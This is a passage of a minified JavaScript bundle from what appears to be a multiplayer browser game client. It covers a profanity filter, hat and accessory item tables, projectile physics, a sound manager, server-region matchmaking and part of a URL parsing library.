									const n = new RegExp(`\\b${t.replace(/(\W)/g,"\\$1")}\\b`, "gi");
									return !this.exclude.includes(t.toLowerCase()) && n.test(e)
								})
								.length > 0 || !1
						}
						replaceWord(e) {
							return e.replace(this.regex, "")
								.replace(this.replaceRegex, this.placeHolder)
						}
						clean(e) {
							return e.split(/\b/)
								.map(e => this.isProfane(e) ? this.replaceWord(e) : e)
								.join("")
						}
						addWords() {
							let e = Array.from(arguments);
							this.list.push(...e), e.map(e => e.toLowerCase())
								.forEach(e => {
									this.exclude.includes(e) && this.exclude.splice(this.exclude.indexOf(e), 1)
								})
						}
						removeWords() {
							this.exclude.push(...Array.from(arguments)
								.map(e => e.toLowerCase()))
						}
					}
				}, function (e) {
					e.exports = {
						words: ["xxxx"]
					}
				}, function (e, t, n) {
					e.exports = {
						object: n(52)
						, array: n(53)
						, regex: n(54)
					}
				}, function (e, t) {
					e.exports = {
						xxx: 1
					}
				}, function (e, t) {
					e.exports = ["xxx"]
				}, function (e, t) {
					e.exports = /\b(xxx)\b/gi
				}, function (e, t) {
					e.exports.hats = [{
						id: 45
						, name: "Shame!"
						, dontSell: !0
						, price: 0
						, scale: 120
						, desc: "hacks are for losers"
					}, {
						id: 51
						, name: "Moo Cap"
						, price: 0
						, scale: 120
						, desc: "coolest mooer around"
					}, {
						id: 50
						, name: "Apple Cap"
						, price: 0
						, scale: 120
						, desc: "apple farms remembers"
					}, {
						id: 28
						, name: "Moo Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 29
						, name: "Pig Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 30
						, name: "Fluff Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 36
						, name: "Pandou Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 37
						, name: "Bear Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 38
						, name: "Monkey Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 44
						, name: "Polar Head"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 35
						, name: "Fez Hat"
						, price: 0
						, scale: 120
						, desc: "no effect"
					}, {
						id: 42
						, name: "Enigma Hat"
						, price: 0
						, scale: 120
						, desc: "join the enigma army"
					}, {
						id: 43
						, name: "Blitz Hat"
						, price: 0
						, scale: 120
						, desc: "hey everybody i'm blitz"
					}, {
						id: 49
						, name: "Bob XIII Hat"
						, price: 0
						, scale: 120
						, desc: "like and subscribe"
					}, {
						id: 57
						, name: "Pumpkin"
						, price: 50
						, scale: 120
						, desc: "Spooooky"
					}, {
						id: 8
						, name: "Bummle Hat"
						, price: 100
						, scale: 120
						, desc: "no effect"
					}, {
						id: 2
						, name: "Straw Hat"
						, price: 500
						, scale: 120
						, desc: "no effect"
					}, {
						id: 15
						, name: "Winter Cap"
						, price: 600
						, scale: 120
						, desc: "allows you to move at normal speed in snow"
						, coldM: 1
					}, {
						id: 5
						, name: "Cowboy Hat"
						, price: 1e3
						, scale: 120
						, desc: "no effect"
					}, {
						id: 4
						, name: "Ranger Hat"
						, price: 2e3
						, scale: 120
						, desc: "no effect"
					}, {
						id: 18
						, name: "Explorer Hat"
						, price: 2e3
						, scale: 120
						, desc: "no effect"
					}, {
						id: 31
						, name: "Flipper Hat"
						, price: 2500
						, scale: 120
						, desc: "have more control while in water"
						, watrImm: !0
					}, {
						id: 1
						, name: "Marksman Cap"
						, price: 3e3
						, scale: 120
						, desc: "increases arrow speed and range"
						, aMlt: 1.3
					}, {
						id: 10
						, name: "Bush Gear"
						, price: 3e3
						, scale: 160
						, desc: "allows you to disguise yourself as a bush"
					}, {
						id: 48
						, name: "Halo"
						, price: 3e3
						, scale: 120
						, desc: "no effect"
					}, {
						id: 6
						, name: "Soldier Helmet"
						, price: 4e3
						, scale: 120
						, desc: "reduces damage taken but slows movement"
						, spdMult: .94
						, dmgMult: .75
					}, {
						id: 23
						, name: "Anti Venom Gear"
						, price: 4e3
						, scale: 120
						, desc: "makes you immune to poison"
						, poisonRes: 1
					}, {
						id: 13
						, name: "Medic Gear"
						, price: 5e3
						, scale: 110
						, desc: "slowly regenerates health over time"
						, healthRegen: 3
					}, {
						id: 9
						, name: "Miners Helmet"
						, price: 5e3
						, scale: 120
						, desc: "earn 1 extra gold per resource"
						, extraGold: 1
					}, {
						id: 32
						, name: "Musketeer Hat"
						, price: 5e3
						, scale: 120
						, desc: "reduces cost of projectiles"
						, projCost: .5
					}, {
						id: 7
						, name: "Bull Helmet"
						, price: 6e3
						, scale: 120
						, desc: "increases damage done but drains health"
						, healthRegen: -5
						, dmgMultO: 1.5
						, spdMult: .96
					}, {
						id: 22
						, name: "Emp Helmet"
						, price: 6e3
						, scale: 120
						, desc: "turrets won't attack but you move slower"
						, antiTurret: 1
						, spdMult: .7
					}, {
						id: 12
						, name: "Booster Hat"
						, price: 6e3
						, scale: 120
						, desc: "increases your movement speed"
						, spdMult: 1.16
					}, {
						id: 26
						, name: "Barbarian Armor"
						, price: 8e3
						, scale: 120
						, desc: "knocks back enemies that attack you"
						, dmgK: .6
					}, {
						id: 21
						, name: "Plague Mask"
						, price: 1e4
						, scale: 120
						, desc: "melee attacks deal poison damage"
						, poisonDmg: 5
						, poisonTime: 6
					}, {
						id: 46
						, name: "Bull Mask"
						, price: 1e4
						, scale: 120
						, desc: "bulls won't target you unless you attack them"
						, bullRepel: 1
					}, {
						id: 14
						, name: "Windmill Hat"
						, topSprite: !0
						, price: 1e4
						, scale: 120
						, desc: "generates points while worn"
						, pps: 1.5
					}, {
						id: 11
						, name: "Spike Gear"
						, topSprite: !0
						, price: 1e4
						, scale: 120
						, desc: "deal damage to players that damage you"
						, dmg: .45
					}, {
						id: 53
						, name: "Turret Gear"
						, topSprite: !0
						, price: 1e4
						, scale: 120
						, desc: "you become a walking turret"
						, turret: {
							proj: 1
							, range: 700
							, rate: 2500
						}
						, spdMult: .7
					}, {
						id: 20
						, name: "Samurai Armor"
						, price: 12e3
						, scale: 120
						, desc: "increased attack speed and fire rate"
						, atkSpd: .78
					}, {
						id: 58
						, name: "Dark Knight"
						, price: 12e3
						, scale: 120
						, desc: "restores health when you deal damage"
						, healD: .4
					}, {
						id: 27
						, name: "Scavenger Gear"
						, price: 15e3
						, scale: 120
						, desc: "earn double points for each kill"
						, kScrM: 2
					}, {
						id: 40
						, name: "Tank Gear"
						, price: 15e3
						, scale: 120
						, desc: "increased damage to buildings but slower movement"
						, spdMult: .3
						, bDmg: 3.3
					}, {
						id: 52
						, name: "Thief Gear"
						, price: 15e3
						, scale: 120
						, desc: "steal half of a players gold when you kill them"
						, goldSteal: .5
					}, {
						id: 55
						, name: "Bloodthirster"
						, price: 2e4
						, scale: 120
						, desc: "Restore Health when dealing damage. And increased damage"
						, healD: .25
						, dmgMultO: 1.2
					}, {
						id: 56
						, name: "Assassin Gear"
						, price: 2e4
						, scale: 120
						, desc: "Go invisible when not moving. Can't eat. Increased speed"
						, noEat: !0
						, spdMult: 1.1
						, invisTimer: 1e3
					}], e.exports.accessories = [{
						id: 12
						, name: "Snowball"
						, price: 1e3
						, scale: 105
						, xOff: 18
						, desc: "no effect"
					}, {
						id: 9
						, name: "Tree Cape"
						, price: 1e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 10
						, name: "Stone Cape"
						, price: 1e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 3
						, name: "Cookie Cape"
						, price: 1500
						, scale: 90
						, desc: "no effect"
					}, {
						id: 8
						, name: "Cow Cape"
						, price: 2e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 11
						, name: "Monkey Tail"
						, price: 2e3
						, scale: 97
						, xOff: 25
						, desc: "Super speed but reduced damage"
						, spdMult: 1.35
						, dmgMultO: .2
					}, {
						id: 17
						, name: "Apple Basket"
						, price: 3e3
						, scale: 80
						, xOff: 12
						, desc: "slowly regenerates health over time"
						, healthRegen: 1
					}, {
						id: 6
						, name: "Winter Cape"
						, price: 3e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 4
						, name: "Skull Cape"
						, price: 4e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 5
						, name: "Dash Cape"
						, price: 5e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 2
						, name: "Dragon Cape"
						, price: 6e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 1
						, name: "Super Cape"
						, price: 8e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 7
						, name: "Troll Cape"
						, price: 8e3
						, scale: 90
						, desc: "no effect"
					}, {
						id: 14
						, name: "Thorns"
						, price: 1e4
						, scale: 115
						, xOff: 20
						, desc: "no effect"
					}, {
						id: 15
						, name: "Blockades"
						, price: 1e4
						, scale: 95
						, xOff: 15
						, desc: "no effect"
					}, {
						id: 20
						, name: "Devils Tail"
						, price: 1e4
						, scale: 95
						, xOff: 20
						, desc: "no effect"
					}, {
						id: 16
						, name: "Sawblade"
						, price: 12e3
						, scale: 90
						, spin: !0
						, xOff: 0
						, desc: "deal damage to players that damage you"
						, dmg: .15
					}, {
						id: 13
						, name: "Angel Wings"
						, price: 15e3
						, scale: 138
						, xOff: 22
						, desc: "slowly regenerates health over time"
						, healthRegen: 3
					}, {
						id: 19
						, name: "Shadow Wings"
						, price: 15e3
						, scale: 138
						, xOff: 22
						, desc: "increased movement speed"
						, spdMult: 1.1
					}, {
						id: 18
						, name: "Blood Wings"
						, price: 2e4
						, scale: 178
						, xOff: 26
						, desc: "restores health when you deal damage"
						, healD: .2
					}, {
						id: 21
						, name: "Corrupt X Wings"
						, price: 2e4
						, scale: 178
						, xOff: 26
						, desc: "deal damage to players that damage you"
						, dmg: .25
					}]
				}, function (e, t) {
					e.exports = function (e, t, n, r, i, o, a) {
						this.init = function (e, t, n, r, i, o, s, l, c) {
							this.active = !0, this.indx = e, this.x = t, this.y = n, this.dir = r, this.skipMov = !0, this.speed = i, this.dmg = o, this.scale = l, this.range = s, this.owner = c, a && (this.sentTo = {})
						};
						var s, l = [];
						this.update = function (c) {
							if(this.active) {
								var u, f = this.speed * c;
								if(this.skipMov ? this.skipMov = !1 : (this.x += f * Math.cos(this.dir), this.y += f * Math.sin(this.dir), this.range -= f, this.range <= 0 && (this.x += this.range * Math.cos(this.dir), this.y += this.range * Math.sin(this.dir), f = 1, this.range = 0, this.active = !1)), a) {
									for(var d = 0; d < e.length; ++d) !this.sentTo[e[d].id] && e[d].canSee(this) && (this.sentTo[e[d].id] = 1, a.send(e[d].id, "18", o.fixTo(this.x, 1), o.fixTo(this.y, 1), o.fixTo(this.dir, 2), o.fixTo(this.range, 1), this.speed, this.indx, this.layer, this.sid));
									for(l.length = 0, d = 0; d < e.length + t.length; ++d) !(s = e[d] || t[d - e.length])
										.alive || s == this.owner || this.owner.team && s.team == this.owner.team || o.lineInRect(s.x - s.scale, s.y - s.scale, s.x + s.scale, s.y + s.scale, this.x, this.y, this.x + f * Math.cos(this.dir), this.y + f * Math.sin(this.dir)) && l.push(s);
									for(var h = n.getGridArrays(this.x, this.y, this.scale), p = 0; p < h.length; ++p)
										for(var A = 0; A < h[p].length; ++A) u = (s = h[p][A])
											.getScale(), s.active && this.ignoreObj != s.sid && this.layer <= s.layer && l.indexOf(s) < 0 && !s.ignoreCollision && o.lineInRect(s.x - u, s.y - u, s.x + u, s.y + u, this.x, this.y, this.x + f * Math.cos(this.dir), this.y + f * Math.sin(this.dir)) && l.push(s);
									if(l.length > 0) {
										var g = null
											, m = null
											, y = null;
										for(d = 0; d < l.length; ++d) y = o.getDistance(this.x, this.y, l[d].x, l[d].y), (null == m || y < m) && (m = y, g = l[d]);
										if(g.isPlayer || g.isAI) {
											var w = .3 * (g.weightM || 1);
											g.xVel += w * Math.cos(this.dir), g.yVel += w * Math.sin(this.dir), null != g.weaponIndex && r.weapons[g.weaponIndex].shield && o.getAngleDist(this.dir + Math.PI, g.dir) <= i.shieldAngle || g.changeHealth(-this.dmg, this.owner, this.owner)
										} else
											for(g.projDmg && g.health && g.changeHealth(-this.dmg) && n.disableObj(g), d = 0; d < e.length; ++d) e[d].active && (g.sentTo[e[d].id] && (g.active ? e[d].canSee(g) && a.send(e[d].id, "8", o.fixTo(this.dir, 2), g.sid) : a.send(e[d].id, "12", g.sid)), g.active || g.owner != e[d] || e[d].changeItemCount(g.group.id, -1));
										for(this.active = !1, d = 0; d < e.length; ++d) this.sentTo[e[d].id] && a.send(e[d].id, "19", this.sid, o.fixTo(m, 1))
									}
								}
							}
						}
					}
				}, function (e, t) {
					e.exports = function (e, t, n, r, i, o, a, s, l) {
						this.addProjectile = function (c, u, f, d, h, p, A, g, m) {
							for(var y, w = o.projectiles[p], v = 0; v < t.length; ++v)
								if(!t[v].active) {
									y = t[v];
									break
								} return y || ((y = new e(n, r, i, o, a, s, l))
								.sid = t.length, t.push(y)), y.init(p, c, u, f, h, w.dmg, d, w.scale, A), y.ignoreObj = g, y.layer = m || w.layer, y.src = w.src, y
						}
					}
				}, function (e, t) {
					e.exports.obj = function (e, t) {
						var n;
						this.sounds = [], this.active = !0, this.play = function (t, r, i) {
							r && this.active && ((n = this.sounds[t]) || (n = new Howl({
								src: ".././sound/" + t + ".mp3"
							}), this.sounds[t] = n), i && n.isPlaying || (n.isPlaying = !0, n.play(), n.volume((r || 1) * e.volumeMult), n.loop(i)))
						}, this.toggleMute = function (e, t) {
							(n = this.sounds[e]) && n.mute(t)
						}, this.stop = function (e) {
							(n = this.sounds[e]) && (n.stop(), n.isPlaying = !1)
						}
					}
				}, function (e, t, n) {
					var r = n(60)
						, i = n(67);

					function o(e, t, n, r, i) {
						"localhost" == location.hostname && (window.location.hostname = "127.0.0.1"), this.debugLog = !1, this.baseUrl = e, this.lobbySize = n, this.devPort = t, this.lobbySpread = r, this.rawIPs = !!i, this.server = void 0, this.gameIndex = void 0, this.callback = void 0, this.errorCallback = void 0, this.processServers(vultr.servers)
					}
					o.prototype.regionInfo = {
						0: {
							name: "Local"
							, latitude: 0
							, longitude: 0
						}
						, "vultr:1": {
							name: "New Jersey"
							, latitude: 40.1393329
							, longitude: -75.8521818
						}
						, "vultr:2": {
							name: "Chicago"
							, latitude: 41.8339037
							, longitude: -87.872238
						}
						, "vultr:3": {
							name: "Dallas"
							, latitude: 32.8208751
							, longitude: -96.8714229
						}
						, "vultr:4": {
							name: "Seattle"
							, latitude: 47.6149942
							, longitude: -122.4759879
						}
						, "vultr:5": {
							name: "Los Angeles"
							, latitude: 34.0207504
							, longitude: -118.691914
						}
						, "vultr:6": {
							name: "Atlanta"
							, latitude: 33.7676334
							, longitude: -84.5610332
						}
						, "vultr:7": {
							name: "Amsterdam"
							, latitude: 52.3745287
							, longitude: 4.7581878
						}
						, "vultr:8": {
							name: "London"
							, latitude: 51.5283063
							, longitude: -.382486
						}
						, "vultr:9": {
							name: "Frankfurt"
							, latitude: 50.1211273
							, longitude: 8.496137
						}
						, "vultr:12": {
							name: "Silicon Valley"
							, latitude: 37.4024714
							, longitude: -122.3219752
						}
						, "vultr:19": {
							name: "Sydney"
							, latitude: -33.8479715
							, longitude: 150.651084
						}
						, "vultr:24": {
							name: "Paris"
							, latitude: 48.8588376
							, longitude: 2.2773454
						}
						, "vultr:25": {
							name: "Tokyo"
							, latitude: 35.6732615
							, longitude: 139.569959
						}
						, "vultr:39": {
							name: "Miami"
							, latitude: 25.7823071
							, longitude: -80.3012156
						}
						, "vultr:40": {
							name: "Singapore"
							, latitude: 1.3147268
							, longitude: 103.7065876
						}
					}, o.prototype.start = function (e, t) {
						this.callback = e, this.errorCallback = t;
						var n = this.parseServerQuery();
						n ? (this.log("Found server in query."), this.password = n[3], this.connect(n[0], n[1], n[2])) : (this.log("Pinging servers..."), this.pingServers())
					}, o.prototype.parseServerQuery = function () {
						var e = r.parse(location.href, !0)
							, t = e.query.server;
						if("string" == typeof t) {
							var n = t.split(":");
							if(3 == n.length) {
								var i = n[0]
									, o = parseInt(n[1])
									, a = parseInt(n[2]);
								return "0" == i || i.startsWith("vultr:") || (i = "vultr:" + i), [i, o, a, e.query.password]
							}
							this.errorCallback("Invalid number of server parameters in " + t)
						}
					}, o.prototype.findServer = function (e, t) {
						var n = this.servers[e];
						if(Array.isArray(n)) {
							for(var r = 0; r < n.length; r++) {
								var i = n[r];
								if(i.index == t) return i
							}
							console.warn("Could not find server in region " + e + " with index " + t + ".")
						} else this.errorCallback("No server list for region " + e)
					}, o.prototype.pingServers = function () {
						var e = this
							, t = [];
						for(var n in this.servers)
							if(this.servers.hasOwnProperty(n)) {
								var r = this.servers[n]
									, i = r[Math.floor(Math.random() * r.length)];
								null != i ? function (r, i) {
									var o = new XMLHttpRequest;
									o.onreadystatechange = function (r) {
										var o = r.target;
										if(4 == o.readyState)
											if(200 == o.status) {
												for(var a = 0; a < t.length; a++) t[a].abort();
												e.log("Connecting to region", i.region);
												var s = e.seekServer(i.region);
												e.connect(s[0], s[1], s[2])
											} else console.warn("Error pinging " + i.ip + " in region " + n)
									};
									var a = "//" + e.serverAddress(i.ip, !0) + ":" + e.serverPort(i) + "/ping";
									o.open("GET", a, !0), o.send(null), e.log("Pinging", a), t.push(o)
								}(0, i) : console.log("No target server for region " + n)
							}
					}, o.prototype.seekServer = function (e, t, n) {
						null == n && (n = "random"), null == t && (t = !1);
						const r = ["random"];
						var i = this.lobbySize
							, o = this.lobbySpread
							, a = this.servers[e].flatMap(function (e) {
								var t = 0;
								return e.games.map(function (n) {
									var r = t++;
									return {
										region: e.region
										, index: e.index * e.games.length + r
										, gameIndex: r
										, gameCount: e.games.length
										, playerCount: n.playerCount
										, isPrivate: n.isPrivate
									}
								})
							})
							.filter(function (e) {
								return !e.isPrivate
							})
							.filter(function (e) {
								return !t || 0 == e.playerCount && e.gameIndex >= e.gameCount / 2
							})
							.filter(function (e) {
								return "random" == n || r[e.index % r.length].key == n
							})
							.sort(function (e, t) {
								return t.playerCount - e.playerCount
							})
							.filter(function (e) {
								return e.playerCount < i
							});
						if(t && a.reverse(), 0 != a.length) {
							var s = Math.min(o, a.length)
								, l = Math.floor(Math.random() * s)
								, c = a[l = Math.min(l, a.length - 1)]
								, u = c.region
								, f = (l = Math.floor(c.index / c.gameCount), c.index % c.gameCount);
							return this.log("Found server."), [u, l, f]
						}
						this.errorCallback("No open servers.")
					}, o.prototype.connect = function (e, t, n) {
						if(!this.connected) {
							var r = this.findServer(e, t);
							null != r ? (this.log("Connecting to server", r, "with game index", n), r.games[n].playerCount >= this.lobbySize ? this.errorCallback("Server is already full.") : (window.history.replaceState(document.title, document.title, this.generateHref(e, t, n, this.password)), this.server = r, this.gameIndex = n, this.log("Calling callback with address", this.serverAddress(r.ip), "on port", this.serverPort(r), "with game index", n), this.callback(this.serverAddress(r.ip), this.serverPort(r), n))) : this.errorCallback("Failed to find server for region " + e + " and index " + t)
						}
					}, o.prototype.switchServer = function (e, t, n, r) {
						this.switchingServers = !0, window.location.href = this.generateHref(e, t, n, r)
					}, o.prototype.generateHref = function (e, t, n, r) {
						var i = "/?server=" + (e = this.stripRegion(e)) + ":" + t + ":" + n;
						return r && (i += "&password=" + encodeURIComponent(r)), i
					}, o.prototype.serverAddress = function (e, t) {
						return "127.0.0.1" == e || "7f000001" == e || "903d62ef5d1c2fecdcaeb5e7dd485eff" == e ? window.location.hostname : this.rawIPs ? t ? "ip_" + this.hashIP(e) + "." + this.baseUrl : e : "ip_" + e + "." + this.baseUrl
					}, o.prototype.serverPort = function (e) {
						return 0 == e.region ? this.devPort : location.protocol.startsWith("https") ? 443 : 80
					}, o.prototype.processServers = function (e) {
						for(var t = {}, n = 0; n < e.length; n++) {
							var r = e[n]
								, i = t[r.region];
							null == i && (i = [], t[r.region] = i), i.push(r)
						}
						for(var o in t) t[o] = t[o].sort(function (e, t) {
							return e.index - t.index
						});
						this.servers = t
					}, o.prototype.ipToHex = function (e) {
						return e.split(".")
							.map(e => ("00" + parseInt(e)
									.toString(16))
								.substr(-2))
							.join("")
							.toLowerCase()
					}, o.prototype.hashIP = function (e) {
						return i(this.ipToHex(e))
					}, o.prototype.log = function () {
						return this.debugLog ? console.log.apply(void 0, arguments) : console.verbose ? console.verbose.apply(void 0, arguments) : void 0
					}, o.prototype.stripRegion = function (e) {
						return e.startsWith("vultr:") ? e = e.slice(6) : e.startsWith("do:") && (e = e.slice(3)), e
					}, window.testVultrClient = function () {
						var e = 1;

						function t(t, n) {
							(t = "" + t) == (n = "" + n) ? console.log(`Assert ${e} passed.`): console.warn(`Assert ${e} failed. Expected ${n}, got ${t}.`), e++
						}
						var n = new o("test.io", -1, 5, 1, !1);
						n.errorCallback = function (e) {}, n.processServers(function (e) {
							var t = [];
							for(var n in e)
								for(var r = e[n], i = 0; i < r.length; i++) t.push({
									ip: n + ":" + i
									, scheme: "testing"
									, region: n
									, index: i
									, games: r[i].map(e => ({
										playerCount: e
										, isPrivate: !1
									}))
								});
							return t
						}({
							1: [
								[0, 0, 0, 0]
								, [0, 0, 0, 0]
							]
							, 2: [
								[5, 1, 0, 0]
								, [0, 0, 0, 0]
							]
							, 3: [
								[5, 0, 1, 5]
								, [0, 0, 0, 0]
							]
							, 4: [
								[5, 1, 1, 5]
								, [1, 0, 0, 0]
							]
							, 5: [
								[5, 1, 1, 5]
								, [1, 0, 4, 0]
							]
							, 6: [
								[5, 5, 5, 5]
								, [2, 3, 1, 4]
							]
							, 7: [
								[5, 5, 5, 5]
								, [5, 5, 5, 5]
							]
						})), t(n.seekServer(1, !1), [1, 0, 0]), t(n.seekServer(1, !0), [1, 1, 3]), t(n.seekServer(2, !1), [2, 0, 1]), t(n.seekServer(2, !0), [2, 1, 3]), t(n.seekServer(3, !1), [3, 0, 2]), t(n.seekServer(3, !0), [3, 1, 3]), t(n.seekServer(4, !1), [4, 0, 1]), t(n.seekServer(4, !0), [4, 1, 3]), t(n.seekServer(5, !1), [5, 1, 2]), t(n.seekServer(5, !0), [5, 1, 3]), t(n.seekServer(6, !1), [6, 1, 3]), t(n.seekServer(6, !0), void 0), t(n.seekServer(7, !1), void 0), t(n.seekServer(7, !0), void 0), console.log("Tests passed.")
					};
					var a = function (e, t) {
						return e.concat(t)
					};
					Array.prototype.flatMap = function (e) {
						return function (e, t) {
							return t.map(e)
								.reduce(a, [])
						}(e, this)
					}, e.exports = o
				}, function (e, t, n) {
					var r = n(61)
						, i = n(63);

					function o() {
						this.protocol = null, this.slashes = null, this.auth = null, this.host = null, this.port = null, this.hostname = null, this.hash = null, this.search = null, this.query = null, this.pathname = null, this.path = null, this.href = null
					}
					t.parse = w, t.resolve = function (e, t) {
						return w(e, !1, !0)
							.resolve(t)
					}, t.resolveObject = function (e, t) {
						return e ? w(e, !1, !0)
							.resolveObject(t) : t
					}, t.format = function (e) {
						return i.isString(e) && (e = w(e)), e instanceof o ? e.format() : o.prototype.format.call(e)
					}, t.Url = o;
					var a = /^([a-z0-9.+-]+:)/i
						, s = /:[0-9]*$/
						, l = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/
						, c = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r", "\n", "\t"])
						, u = ["'"].concat(c)
						, f = ["%", "/", "?", ";", "#"].concat(u)
						, d = ["/", "?", "#"]
						, h = /^[+a-z0-9A-Z_-]{0,63}$/
						, p = /^([+a-z0-9A-Z_-]{0,63})(.*)$/
						, A = {
							javascript: !0
							, "javascript:": !0
						}
						, g = {
							javascript: !0
							, "javascript:": !0
						}
						, m = {
							http: !0
							, https: !0
							, ftp: !0
							, gopher: !0
							, file: !0
							, "http:": !0
							, "https:": !0
							, "ftp:": !0
							, "gopher:": !0
							, "file:": !0
						}
						, y = n(64);

					function w(e, t, n) {
						if(e && i.isObject(e) && e instanceof o) return e;
						var r = new o;
						return r.parse(e, t, n), r
					}
					o.prototype.parse = function (e, t, n) {
						if(!i.isString(e)) throw new TypeError("Parameter 'url' must be a string, not " + typeof e);
						var o = e.indexOf("?")
							, s = -1 !== o && o < e.indexOf("#") ? "?" : "#"
							, c = e.split(s);
						c[0] = c[0].replace(/\\/g, "/");
						var w = e = c.join(s);
						if(w = w.trim(), !n && 1 === e.split("#")
							.length) {
							var v = l.exec(w);
							if(v) return this.path = w, this.href = w, this.pathname = v[1], v[2] ? (this.search = v[2], this.query = t ? y.parse(this.search.substr(1)) : this.search.substr(1)) : t && (this.search = "", this.query = {}), this
						}
						var b = a.exec(w);
						if(b) {
							var x = (b = b[0])
								.toLowerCase();
							this.protocol = x, w = w.substr(b.length)
						}
						if(n || b || w.match(/^\/\/[^@\/]+@[^@\/]+/)) {
							var B = "//" === w.substr(0, 2);
							!B || b && g[b] || (w = w.substr(2), this.slashes = !0)
						}
						if(!g[b] && (B || b && !m[b])) {
							for(var E, k, C = -1, I = 0; I < d.length; I++) - 1 !== (T = w.indexOf(d[I])) && (-1 === C || T < C) && (C = T);
							for(-1 !== (k = -1 === C ? w.lastIndexOf("@") : w.lastIndexOf("@", C)) && (E = w.slice(0, k), w = w.slice(k + 1), this.auth = decodeURIComponent(E)), C = -1, I = 0; I < f.length; I++) {
								var T; - 1 !== (T = w.indexOf(f[I])) && (-1 === C || T < C) && (C = T)
							} - 1 === C && (C = w.length), this.host = w.slice(0, C), w = w.slice(C), this.parseHost(), this.hostname = this.hostname || "";
							var M = "[" === this.hostname[0] && "]" === this.hostname[this.hostname.length - 1];
							if(!M)
								for(var P = this.hostname.split(/\./), O = (I = 0, P.length); I < O; I++) {
									var D = P[I];
									if(D && !D.match(h)) {
										for(var L = "", _ = 0, S = D.length; _ < S; _++) D.charCodeAt(_) > 127 ? L += "x" : L += D[_];
										if(!L.match(h)) {
											var q = P.slice(0, I)
												, H = P.slice(I + 1)
												, V = D.match(p);
											V && (q.push(V[1]), H.unshift(V[2])), H.length && (w = "/" + H.join(".") + w), this.hostname = q.join(".");
											break
										}
									}
								}
							this.hostname.length > 255 ? this.hostname = "" : this.hostname = this.hostname.toLowerCase(), M || (this.hostname = r.toASCII(this.hostname));
							var j = this.port ? ":" + this.port : ""
								, X = this.hostname || "";
							this.host = X + j, this.href += this.host, M && (this.hostname = this.hostname.substr(1, this.hostname.length - 2), "/" !== w[0] && (w = "/" + w))
						}
						if(!A[x])
							for(I = 0, O = u.length; I < O; I++) {
								var U = u[I];
								if(-1 !== w.indexOf(U)) {
									var R = encodeURIComponent(U);
									R === U && (R = escape(U)), w = w.split(U)
										.join(R)
								}
							}
						var Y = w.indexOf("#"); - 1 !== Y && (this.hash = w.substr(Y), w = w.slice(0, Y));
						var W = w.indexOf("?");
						if(-1 !== W ? (this.search = w.substr(W), this.query = w.substr(W + 1), t && (this.query = y.parse(this.query)), w = w.slice(0, W)) : t && (this.search = "", this.query = {}), w && (this.pathname = w), m[x] && this.hostname && !this.pathname && (this.pathname = "/"), this.pathname || this.search) {
							j = this.pathname || "";
							var z = this.search || "";
							this.path = j + z
						}
						return this.href = this.format(), this
					}, o.prototype.format = function () {
						var e = this.auth || "";
						e && (e = (e = encodeURIComponent(e))
							.replace(/%3A/i, ":"), e += "@");
						var t = this.protocol || ""
							, n = this.pathname || ""
							, r = this.hash || ""
							, o = !1
							, a = "";
						this.host ? o = e + this.host : this.hostname && (o = e + (-1 === this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"), this.port && (o += ":" + this.port)), this.query && i.isObject(this.query) && Object.keys(this.query)
							.length && (a = y.stringify(this.query));
						var s = this.search || a && "?" + a || "";
						return t && ":" !== t.substr(-1) && (t += ":"), this.slashes || (!t || m[t]) && !1 !== o ? (o = "//" + (o || ""), n && "/" !== n.charAt(0) && (n = "/" + n)) : o || (o = ""), r && "#" !== r.charAt(0) && (r = "#" + r), s && "?" !== s.charAt(0) && (s = "?" + s), t + o + (n = n.replace(/[?#]/g, function (e) {
							return encodeURIComponent(e)
						})) + (s = s.replace("#", "%23")) + r
					}, o.prototype.resolve = function (e) {
						return this.resolveObject(w(e, !1, !0))
							.format()
					}, o.prototype.resolveObject = function (e) {
						if(i.isString(e)) {
							var t = new o;
							t.parse(e, !1, !0), e = t
						}
						for(var n = new o, r = Object.keys(this), a = 0; a < r.length; a++) {
							var s = r[a];
							n[s] = this[s]
						}
						if(n.hash = e.hash, "" === e.href) return n.href = n.format(), n;
						if(e.slashes && !e.protocol) {
							for(var l = Object.keys(e), c = 0; c < l.length; c++) {
								var u = l[c];
								"protocol" !== u && (n[u] = e[u])
							}
							return m[n.protocol] && n.hostname && !n.pathname && (n.path = n.pathname = "/"), n.href = n.format(), n
						}
						if(e.protocol && e.protocol !== n.protocol) {
							if(!m[e.protocol]) {
								for(var f = Object.keys(e), d = 0; d < f.length; d++) {
									var h = f[d];
									n[h] = e[h]
								}
								return n.href = n.format(), n
							}
							if(n.protocol = e.protocol, e.host || g[e.protocol]) n.pathname = e.pathname;
							else {
								for(var p = (e.pathname || "")
										.split("/"); p.length && !(e.host = p.shift()););
								e.host || (e.host = ""), e.hostname || (e.hostname = ""), "" !== p[0] && p.unshift(""), p.length < 2 && p.unshift(""), n.pathname = p.join("/")
							}
							if(n.search = e.search, n.query = e.query, n.host = e.host || "", n.auth = e.auth, n.hostname = e.hostname || e.host, n.port = e.port, n.pathname || n.search) {
								var A = n.pathname || ""
									, y = n.search || "";
								n.path = A + y
							}
							return n.slashes = n.slashes || e.slashes, n.href = n.format(), n
						}
						var w = n.pathname && "/" === n.pathname.charAt(0)
							, v = e.host || e.pathname && "/" === e.pathname.charAt(0)
							, b = v || w || n.host && e.pathname
							, x = b
							, B = n.pathname && n.pathname.split("/") || []
							, E = (p = e.pathname && e.pathname.split("/") || [], n.protocol && !m[n.protocol]);
